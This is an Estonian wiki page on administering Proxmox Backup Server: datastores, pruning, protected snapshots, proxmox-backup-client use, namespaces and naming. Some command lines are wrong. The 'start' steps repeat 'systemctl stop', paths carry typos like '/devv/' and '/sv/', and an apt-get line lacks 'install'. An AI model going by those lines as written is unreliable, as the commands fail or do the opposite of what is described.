&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -t ext4 -h&lt;br /&gt;
Filesystem                        Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/mapper/pbs-root               21G  1.8G   19G   9% /&lt;br /&gt;
/dev/vdc1                         108G  258M  102G   1% /mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning lisaks võetakse kasutusele datastore'ina&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/proxmox-backup/datastore.cfg &lt;br /&gt;
datastore: ds-pbs-tmp&lt;br /&gt;
	path /mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Siin on mitu nö probleemi&lt;br /&gt;
&lt;br /&gt;
* ketas partitsioneeritakse - see teeb ebamugavaks /dev/vdc suurendamise, käigult ei saagi hästi suurendada&lt;br /&gt;
* süsteemis osa failisüsteeme monteeritakse /etc/fstab abil ja osa systemd vahenditega&lt;br /&gt;
* /mnt alune on üldiselt natuke ebaloomulik koht püsivaks kasutuseks asjade pidamiseks (/mnt on ad hoc monteerimisteks, ja /srv püsivateks) - vt https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard&lt;br /&gt;
&lt;br /&gt;
====Datastore lisamine - käsitsi ja webgui====&lt;br /&gt;
&lt;br /&gt;
Ehk otsekohesem ja ka suurema kontrolli tulemuse üle saab nö tavalisel viisil monteerides /etc/fstab abil /srv/pbs alla failisüsteemi ning siis webgui pealt seadistada pbs tarkvara seda kasutama.&lt;br /&gt;
&lt;br /&gt;
 # pvcreate /dev/vdc&lt;br /&gt;
 # vgcreate vg_pbs /dev/vdc&lt;br /&gt;
 # lvcreate -l +100%FREE -n srv_pbs vg_pbs&lt;br /&gt;
 # mkfs.ext4 /devv/vg_pbs/srv_pbs&lt;br /&gt;
 # # cat /etc/fstab &lt;br /&gt;
 ...&lt;br /&gt;
 /dev/vg_pbs/srv_pbs /srv/pbs ext4 defaults 0 0&lt;br /&gt;
 # mkdir /srv/pbs&lt;br /&gt;
 # mount /srv/pbs&lt;br /&gt;
&lt;br /&gt;
ext4 failisüsteemi kasutamisel kasutatakse veel nö vahel lisaks lvm kihti, see teeb võimalikud muudatused sujuvamaks, nt saab kunagi plokkseadme asendada käigult pvmove abil.&lt;br /&gt;
&lt;br /&gt;
Kui /srv/pbs kataloogi alla on failisüsteem monteeritud, siis sobib webgui peal öelda&lt;br /&gt;
&lt;br /&gt;
 Datastore -&amp;gt; Add Datastore&lt;br /&gt;
&lt;br /&gt;
ning täita lahtrid&lt;br /&gt;
&lt;br /&gt;
* Name - ds-pbs&lt;br /&gt;
* Backing Path: /srv/pbs&lt;br /&gt;
&lt;br /&gt;
===Kasutamine - varundamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Seadistatud ja varundamisega tegelevas PBS serveris on muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* datastore'ide kirjeldus - /etc/proxmox-backup/datastore.cfg&lt;br /&gt;
* proxmox kasutajatega seotud andmed - shadow.json, user.cfg ja acl.cfg&lt;br /&gt;
* 2nd stage kopeerimise ligipääsu kirjeldus - /etc/proxmox-backup/remote.cfg&lt;br /&gt;
&lt;br /&gt;
===Kasutatamine - taastamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Haldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pbs tarkvara juhtimiseks on kaks käivitusskripti, seiskamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup-proxy&lt;br /&gt;
 # systemctl stop proxmox-backup&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup&lt;br /&gt;
 # systemctl stop proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
proxmox-backup-proxy kuulab 8007 võrku, apt teenus jms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@varundus-2nd:/srv# netstat -lnpt | grep backup&lt;br /&gt;
tcp        0      0 127.0.0.1:82            0.0.0.0:*               LISTEN      3461/proxmox-backup &lt;br /&gt;
tcp6       0      0 :::8007                 :::*                    LISTEN      3476/proxmox-backup &lt;br /&gt;
&lt;br /&gt;
root@varundus-2nd:/srv# ps aux | grep 3476&lt;br /&gt;
backup    3476 16.6  1.6 844856 51096 ?        Ssl  21:59   0:32 /usr/lib/x86_64-linux-gnu/proxmox-backup/proxmox-backup-proxy&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Andmesalvestuse asukohtade jms seadistused asuvad failis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# cat /etc/proxmox-backup/datastore.cfg &lt;br /&gt;
datastore: ds_zpool_wds_pbs&lt;br /&gt;
	comment &lt;br /&gt;
	gc-schedule daily&lt;br /&gt;
	path /zpool_wdc/pbs&lt;br /&gt;
	prune-schedule daily&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===PBS schedule kasutamine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* virtuaalsete arvutite regulaarsed varundamised seadistatakse Proxmox VE keskkonnas (nt proxmox hostide webgui haldusliidestes)&lt;br /&gt;
* varundamine toimib proxmox host algatusel&lt;br /&gt;
* varundatud varunduste regulaarne harvendamine toimub proxmox backup serveri webgui haldusliideses seadistatu alusel; ja pbs algatusel&lt;br /&gt;
* Prune - tegeleb nö kataloogist vana varunduse eemaldamisega&lt;br /&gt;
* GC (garbage collection) - tegeleb kataloogist kustatule vastavate andmete osa vabastamisega salvestusseadmelt&lt;br /&gt;
&lt;br /&gt;
====Regulaarsete varundamiste seadistamine - PVE====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti regulaarse varundamise seadistamiseks sobib virtuaalse arvuti juures veenduda, et plokkseadmete juures ei ole märget&lt;br /&gt;
&lt;br /&gt;
 backup=0&lt;br /&gt;
&lt;br /&gt;
Seejärel avada&lt;br /&gt;
&lt;br /&gt;
 Datacenter -&amp;gt; Backup -&amp;gt; Add (või Edit kui juba on olemas)&lt;br /&gt;
&lt;br /&gt;
ning linnutada ära sobiv arvuti.&lt;br /&gt;
&lt;br /&gt;
====Regulaarsete kustutamise seadistamine - PBS====&lt;br /&gt;
&lt;br /&gt;
Logida sisse varundamise arvutisse ja valida&lt;br /&gt;
&lt;br /&gt;
 Datastore -&amp;gt; ds_nimi -&amp;gt; Prune &amp;amp; GC&lt;br /&gt;
&lt;br /&gt;
ning seadistada Prune rutiin&lt;br /&gt;
&lt;br /&gt;
* Keep Last&lt;br /&gt;
* Keep Hourly&lt;br /&gt;
* ..&lt;br /&gt;
* Keep Yearly&lt;br /&gt;
&lt;br /&gt;
ning seadistada Prune ja CG alguse aeg.&lt;br /&gt;
&lt;br /&gt;
====Protected====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi prunemine kustutab hiljem või varem kõik varundused ära. Kui soovitakse mõnda seisu (olgu see moodustunud automaatselt või käsitsi) säilitada lõpmatult kaua, siis sobib märkida ta Protected olekusse. Seda saab teha PVE 7.1 webgui liideses, ja PBS v. 2.1 webgui liidses&lt;br /&gt;
&lt;br /&gt;
  Datastore -&amp;gt; ds_nimi -&amp;gt; Content -&amp;gt; Group -&amp;gt; snapshot&lt;br /&gt;
&lt;br /&gt;
* group - virtuaalne arvuti&lt;br /&gt;
* snapshot - konkreetsele ajale vastav varundus&lt;br /&gt;
&lt;br /&gt;
Kõigi toimunud varunduste protected olekusse seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# export PBS_PASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
# cat pbs-protected.sh&lt;br /&gt;
for i in `proxmox-backup-client list  --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff | awk {'print $2'} | grep &amp;quot;^vm&amp;quot;`; do &lt;br /&gt;
  for j in `proxmox-backup-client snapshot list ${i} --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff | awk {'print $2'} | grep ^vm`; do &lt;br /&gt;
    proxmox-backup-client snapshot protected update ${j} true --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff;&lt;br /&gt;
  done; &lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# sh pbs-protected.sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Edukast tulemusest annab tunnistust varunduste Content vaates, et snaphost real on Protected pildike muutunud hallist roheliseks.&lt;br /&gt;
&lt;br /&gt;
====Prune simulator====&lt;br /&gt;
&lt;br /&gt;
Aadressil https://pbs.proxmox.com/docs/prune-simulator/ asub tore simulaator, mille abil illustreeritakse milliseid konkreetseid varundusi prunemine tabab.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Varundamise kasutamine võib olla lihtsam ja varundus kvaliteetsem (kooskõlalisem) kui varundatavate arvutite failisüsteemid ei ole laiali määritud mitmele plokkseadmele (nt lvm volume group asub ühel virtio plokkseadmel).&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pbs.proxmox.com/docs/prune-simulator/&lt;br /&gt;
&lt;br /&gt;
===PVE integreeritud varunduse kasutamine proxmox-backup-client abil===&lt;br /&gt;
&lt;br /&gt;
PVE integreeritud varunduse kasutamiseks on vaja&lt;br /&gt;
&lt;br /&gt;
* varundatud andmeid PBS serveris&lt;br /&gt;
* varunduse serverile üle nn api port 8007 liidese ligipääsu&lt;br /&gt;
* teada datastore nime varunduse arvutis&lt;br /&gt;
* nö klientarvutit kuhu on paigaldatud proxmox-backup-client tarkvara (see võiks olla nö kolmas arvuti, st mitte pbs ega varundatud arvuti ise)&lt;br /&gt;
&lt;br /&gt;
Varundatud arvutite nimekirja küsimine (nn group'id)&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client list --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 Password for &amp;quot;pm60-trt@pbs&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
Varundatud arvuti varunduste nimekirja küsimine (nn snapshot'id)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-backup-client snapshot list vm/194 --output-format text  --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
┌─────────────────────────────┬────────┬────────────────────────────────────────────────────────────────────────────┐&lt;br /&gt;
│ snapshot                    │   size │ files                                                                      │&lt;br /&gt;
╞═════════════════════════════╪════════╪════════════════════════════════════════════════════════════════════════════╡&lt;br /&gt;
│ vm/194/2021-01-02T13:23:12Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
├─────────────────────────────┼────────┼────────────────────────────────────────────────────────────────────────────┤&lt;br /&gt;
│ vm/194/2021-01-02T14:26:53Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
├─────────────────────────────┼────────┼────────────────────────────────────────────────────────────────────────────┤&lt;br /&gt;
│ vm/194/2021-10-09T20:59:42Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
└─────────────────────────────┴────────┴────────────────────────────────────────────────────────────────────────────┘&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protection muutmine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client snapshot protected update vm/194/2021-01-02T13:23:12Z  true --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client snapshot protected update vm/194/2021-01-02T13:23:12Z  false --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
&lt;br /&gt;
Tõmmise kasutamine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio0.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio1.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio2.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
&lt;br /&gt;
kui virtuaalses arvuti on moodustatud neile nt lvm, siis tuleks öelda&lt;br /&gt;
&lt;br /&gt;
 # vgchange -a y&lt;br /&gt;
 # lvdisplay&lt;br /&gt;
 # mount -o ro,norecovery /dev/sys/root /mnt/root&lt;br /&gt;
&lt;br /&gt;
Seejärel saab /mnt/root alt kasutada varundatud seisu nii nagu tavalist read-only failisüsteemi. Kasutamise lõpetamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/root&lt;br /&gt;
 # vgchange -a n&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio0.img&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio1.img&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio2.img&lt;br /&gt;
&lt;br /&gt;
ilma viimase argumendita esitatakse mapped ressursside nimekiri&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-backup-client unmap&lt;br /&gt;
/dev/loop26:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio2.img&lt;br /&gt;
/dev/loop25:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio1.img&lt;br /&gt;
/dev/loop24:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio0.img&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
proxmox-backup-client nn kolmanda arvuti ettevalmistamine&lt;br /&gt;
&lt;br /&gt;
Esmalt paigaldada Ubuntu 20.04 või Debian v. 10 või v. 11 nö tavaliselt viisil. Seejärel lisada repo võti, nt Ubuntu 20.04 puhul&lt;br /&gt;
&lt;br /&gt;
 # wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg&lt;br /&gt;
&lt;br /&gt;
Moodustada source fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pbs-client.list &lt;br /&gt;
 deb [arch=amd64] http://download.proxmox.com/debian/pbs-client buster main&lt;br /&gt;
&lt;br /&gt;
Paigaldada tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get proxmox-backup-client&lt;br /&gt;
&lt;br /&gt;
===Namespace kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace list  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
Password for &amp;quot;root@pam&amp;quot;: ************&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace create tere  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace list  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
tere&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
PBS töötamise käigus kasutatakse katalooge selliselt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /srv/pbs-rmt/* /srv/pbs-rmt/ns/* /srv/pbs-rmt/.chunks /srv/pbs-rmt/ns/tmp-pve-1/vm/5001/*/*&lt;br /&gt;
drwxr-x--- 1 backup backup 1060864 Dec 17 16:27 /srv/pbs-rmt/.chunks&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:33 /srv/pbs-rmt/ns&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:33 /srv/pbs-rmt/vm&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tartu&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn&lt;br /&gt;
-rw-r--r-- 1 backup backup     627 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/client.log.blob&lt;br /&gt;
-rw-r--r-- 1 backup backup   86016 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/drive-virtio0.img.fidx&lt;br /&gt;
-rw-r--r-- 1 backup backup     422 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/index.json.blob&lt;br /&gt;
-rw-r--r-- 1 backup backup     355 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/qemu-server.conf.blob&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /srv/pbs-rmt/ns/ns-pve-tartu - konkreetsele namespace'ile vastav kataloog, tõenäoliselt varundatakse ühe namespace alla ühte pve setup'i (kas standalone proxmox või pve klaster); üks pbs võimaldab namespace instrumendi abil teenindada mitmete pve setup'ide varundamist seejuures vältides vmid väärtuste jms konflikte&lt;br /&gt;
* /srv/pbs-rmt/.chunks - varundatud andmed (siin toimub dedupleerimine, pakkimine jms) - seal on koos kõigi namespace'ide alla kuuluvad andmed&lt;br /&gt;
* /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z - arvuti vmid=5001 ühele konkreetsele varunduskorrale (tavaliselt on selliseid kuupäeva + kellaaeg nimelisi kataloogi mitu) vastvad metaandmeid; selle info abil oskab pbs taastada sh leiab üles .chunks kataloogist vajalikud varundatud andmed&lt;br /&gt;
* /srv/pbs-rmt/vm - namespace eelse aja varunduskorra metaandmete kataloog - vastab praegu namespace nimele 'Root'&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* namespace eelsel ajal liigendati mitut pve setuppi teenindava pbs serveri sees varundamisi erinevate datastore'ide moodustamise abil; namespace ajal kasutatakse pigem ühte datastore'i ning selle see liigendatakse erinevaid pve setuppisid namespace instrumendi abil&lt;br /&gt;
* tundub, et pbs webgui ja proxmox-backup-client utiliidile lisaks saab teatud tegevusi edukalt sooritada ka niisama ehedalt /etc/proxmox-backup-server kataloogi aluseid faile redigeerides&lt;br /&gt;
* tundub, et pbs serverisse moodustatud datastore'ile vastavat kataloogi (koos kogu selle sisuga) saab liigutada edukalt ühelt pbs serverilt teisele ja edasi kasutada (nt taasteks)&lt;br /&gt;
* tundub, et 1st ja 2nd proxmox serverisse moodustatud datastore on iseenesest täpselt samaväärne (nt saab ühe pve setup jaoks kasutusel olevat 2nd (ehk remote) pbs arvutit kasutada teise pve setup juures 1st pbs arvutina&lt;br /&gt;
* tundub, et pbs on väga robustne tarkvara, st tema töötamisega ei kaasne mingeid salajasi binari andmebaase vms - kõik vajalik on /etc/proxmox-backup-server kataloogis või nö /srv/pbs failisüsteemis ja seadistused on tekstifailide kujul mida saab ettevaatlikult ka käsitsi tekstiredaktoriga hallata&lt;br /&gt;
&lt;br /&gt;
===Robustsed tegevused===&lt;br /&gt;
&lt;br /&gt;
Sarnaselt nagu tar programmiga on võimalik töötada .tar arhiivi failiga, muu hulgas&lt;br /&gt;
&lt;br /&gt;
* moodustada arhiivi&lt;br /&gt;
* esitada arhiivi kopeeritud failide nimekiri&lt;br /&gt;
* kopeerida arhiivist välja&lt;br /&gt;
* lisada faile arhiivi&lt;br /&gt;
* eemaldada faile arhiivist&lt;br /&gt;
&lt;br /&gt;
on võimalik PBS tarkvaraga teha samu tegevusi, kuid natuke teisel abstraktsiooni tasemel&lt;br /&gt;
&lt;br /&gt;
* seadistada pbs varunduse serverisse datastore&lt;br /&gt;
* kopeerida PVE keskkonnast virtuaalsete arvutite virtuaalseid plokkseadmeid datastore'i (virtuaalsele arvutile vastava komplektina)&lt;br /&gt;
* eemaldada PBS datastore pealt sinna kopeeritud arvuteid&lt;br /&gt;
* esitada datastore peale kopeeritud arvutite nimekiri&lt;br /&gt;
* kontrollida datastore peal olevate andmete terviklust&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* kui tar puhul on tööriistaks programm 'tar', siis pbs puhul on tööriistaks debian operatsioonisüsteem ja sellesse paigaldatud pbs tarkvara&lt;br /&gt;
* kui tar puhul on andmeteks .tar arhiiv st üks fail (seal on nii andmed kui metaandmed), siis pbs puhul on andmeteks /srv/pbs/.chunks, /srv/pbs/ns jt kataloogid (seal on nii andmed kui metaandmed)&lt;br /&gt;
* kui .tar arhiivist ei ole praktiliselt mõeldav mingi konkreetse andme kätte saamine ilma tar utiliidita, siis pbs puhul on olukord sarnane&lt;br /&gt;
* .tar arhiiv on võimalik moodustada ühes arvutis ja kasutada teises arvutis (natuke erineva tar programmi versiooniga), pbs puhul on olukord sarnane&lt;br /&gt;
&lt;br /&gt;
Tundub, et robustsete tegevuste eel on tark pbs protsessid ära lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
ja seejärel on nt võimalik&lt;br /&gt;
&lt;br /&gt;
* tekitada namespace'isid moodutades katalooge /srv/pbs/ns kataloogi alla&lt;br /&gt;
&lt;br /&gt;
 # mkdir /sv/pbs-tmp/ns/ns-tmp-4&lt;br /&gt;
 # chown backup:backup /srv/pbs-tmp/ns/ns-tmp-4&lt;br /&gt;
&lt;br /&gt;
* liigutada ns katalooge failisüsteemi tasemel ringi, tulemusena moodustub uus namespace ja see on ka sisustatud&lt;br /&gt;
&lt;br /&gt;
 # mv /sv/pbs-tmp/ns/ns-tmp-4 /sv/pbs-tmp/ns/ns-tmp-5&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Peale robustsete tegevuste lõppu pbs protsessid käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
===Objektide nimetamine===&lt;br /&gt;
&lt;br /&gt;
PBS tarkvara kasutamisel tuleb tegeleda kümnekonna objektiga (ressursside nimetamised, kasutajate nimetamised jms) ning asjakorraldust lihtsustab kui nende nimetamine on läbimõeldud. Järgnevas on esitatud üks võimalus&lt;br /&gt;
&lt;br /&gt;
* selguse mõttes on erinevat tüüpi objektide nimesid alustatud tüübile viitava prefixiga (nt 'user-')&lt;br /&gt;
&lt;br /&gt;
pbs 1st arvuti kasutajate nimekirjas on eemalt sisse pöörduvate kasutajate kirjeldused. Need kasutajad võiks nimetada nt nende pöördumise kohtade alusel, nt&lt;br /&gt;
&lt;br /&gt;
* user-pve-tartu&lt;br /&gt;
* user-pve-tallinn&lt;br /&gt;
&lt;br /&gt;
pbs 2nd arvutis võiks namespace'id nimeteada samuti pöördumiskohtade järgi, st varundatavate pve klastrite järgi&lt;br /&gt;
&lt;br /&gt;
* ns-tartu&lt;br /&gt;
* ns-tallinn&lt;br /&gt;
&lt;br /&gt;
eeldades, et kõik varundatavad asjad satuvad samasse datastore'i siis võib olla pbs arvutite datastore võiks nimetada mingi tehnoloogilise erinevus alusel, nt&lt;br /&gt;
&lt;br /&gt;
* ds-ssd&lt;br /&gt;
* ds-hdd&lt;br /&gt;
&lt;br /&gt;
datastorele vastav kataloog pbs arvutis, nt&lt;br /&gt;
&lt;br /&gt;
* /srv/pbs-ssd&lt;br /&gt;
* /srv/pbs-hdd&lt;br /&gt;
* /srv/pbs-zfs&lt;br /&gt;
&lt;br /&gt;
2nd pbs arvutis kirjeldatakse ära remote, st 1st pbs arvuti kust juba varundatud asju kopeeritakse. Üks 2nd pbs arvuti saab kopeerida mitmest 1st arvutist endale kokku andmeid (soovitavalt erinevatesse namespace'idesse). Sõna 'remote' kasutatakse siin natuke vastuoluliselt, eks. Nimetada võiks selle järgi kust kopeeritakse, nt&lt;br /&gt;
&lt;br /&gt;
* rmt-pbs-tartu-1st&lt;br /&gt;
* rmt-pbs-tallinn-1st&lt;br /&gt;
&lt;br /&gt;
PBS tüüpi storage nimetamine PVE Datacenter -&amp;gt; Storage osakonnas dialoogi lahtri 'ID' väärtuse mõttes. Võiks viidata pbs arvuti nimele ja rollile (kas 1st või 2nd), nt (sid nagu 'storage id')&lt;br /&gt;
&lt;br /&gt;
* sid-pbs-narva-1st&lt;br /&gt;
* sid-pbs-parnu-2nd&lt;br /&gt;
&lt;br /&gt;
PVE arvutite nimetamine&lt;br /&gt;
&lt;br /&gt;
* pve-tartu-01, pve-tartu-02&lt;br /&gt;
* pve-tallinn-01, pve-tallinn-02&lt;br /&gt;
&lt;br /&gt;
PBS arvutite nimetamine&lt;br /&gt;
&lt;br /&gt;
* pbs-narva-1st&lt;br /&gt;
* pbs-parnu-2nd&lt;br /&gt;
&lt;br /&gt;
===Jõudluse hindamine - benchmark===&lt;br /&gt;
&lt;br /&gt;
PVE ja PBS vahelise kontakti jõudluse hindamiseks sobib kasutada proxmox-backup-client programmi 'benchmark' osakonna funktsionaalsust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-moraal-x570:~# proxmox-backup-client benchmark --repository pm60-trt@pbs@192.168.10.197:ds-ssd&lt;br /&gt;
Password for &amp;quot;pm60-trt@pbs&amp;quot;: ****************&lt;br /&gt;
fingerprint: 64:3b:cb:fb:94:c3:c9:da:92:b9:02:68:36:2c:49:b8:12:87:09:66:98:f7:b8:ad:89:9b:cd:94:c4:bc:0f:c9&lt;br /&gt;
Are you sure you want to continue connecting? (y/n): y&lt;br /&gt;
fingerprint: 64:3b:cb:fb:94:c3:c9:da:92:b9:02:68:36:2c:49:b8:12:87:09:66:98:f7:b8:ad:89:9b:cd:94:c4:bc:0f:c9&lt;br /&gt;
Are you sure you want to continue connecting? (y/n): y&lt;br /&gt;
Uploaded 610 chunks in 5 seconds.&lt;br /&gt;
Time per request: 8268 microseconds.&lt;br /&gt;
TLS speed: 507.24 MB/s&lt;br /&gt;
SHA256 speed: 2308.48 MB/s&lt;br /&gt;
Compression speed: 645.59 MB/s&lt;br /&gt;
Decompress speed: 759.50 MB/s&lt;br /&gt;
AES256/GCM speed: 1673.09 MB/s&lt;br /&gt;
Verify speed: 568.91 MB/s&lt;br /&gt;
┌───────────────────────────────────┬─────────────────────┐&lt;br /&gt;
│ Name                              │ Value               │&lt;br /&gt;
╞═══════════════════════════════════╪═════════════════════╡&lt;br /&gt;
│ TLS (maximal backup upload speed) │ 507.24 MB/s (41%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ SHA256 checksum computation speed │ 2308.48 MB/s (114%) │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ ZStd level 1 compression speed    │ 645.59 MB/s (86%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ ZStd level 1 decompression speed  │ 759.50 MB/s (63%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ Chunk verification speed          │ 568.91 MB/s (75%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ AES256 GCM encryption speed       │ 1673.09 MB/s (46%)  │&lt;br /&gt;
└───────────────────────────────────┴─────────────────────┘&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
====PBS v. 3 - v. 4 uuendus====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 -&amp;gt; v. 13&lt;br /&gt;
* zfs v. x -&amp;gt; y&lt;br /&gt;
&lt;br /&gt;
Enne uuendust võiks küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pbs3to4 --full&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pbs.proxmox.com/wiki/Upgrade_from_3_to_4&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/wiki/Backup_and_Restore&lt;br /&gt;
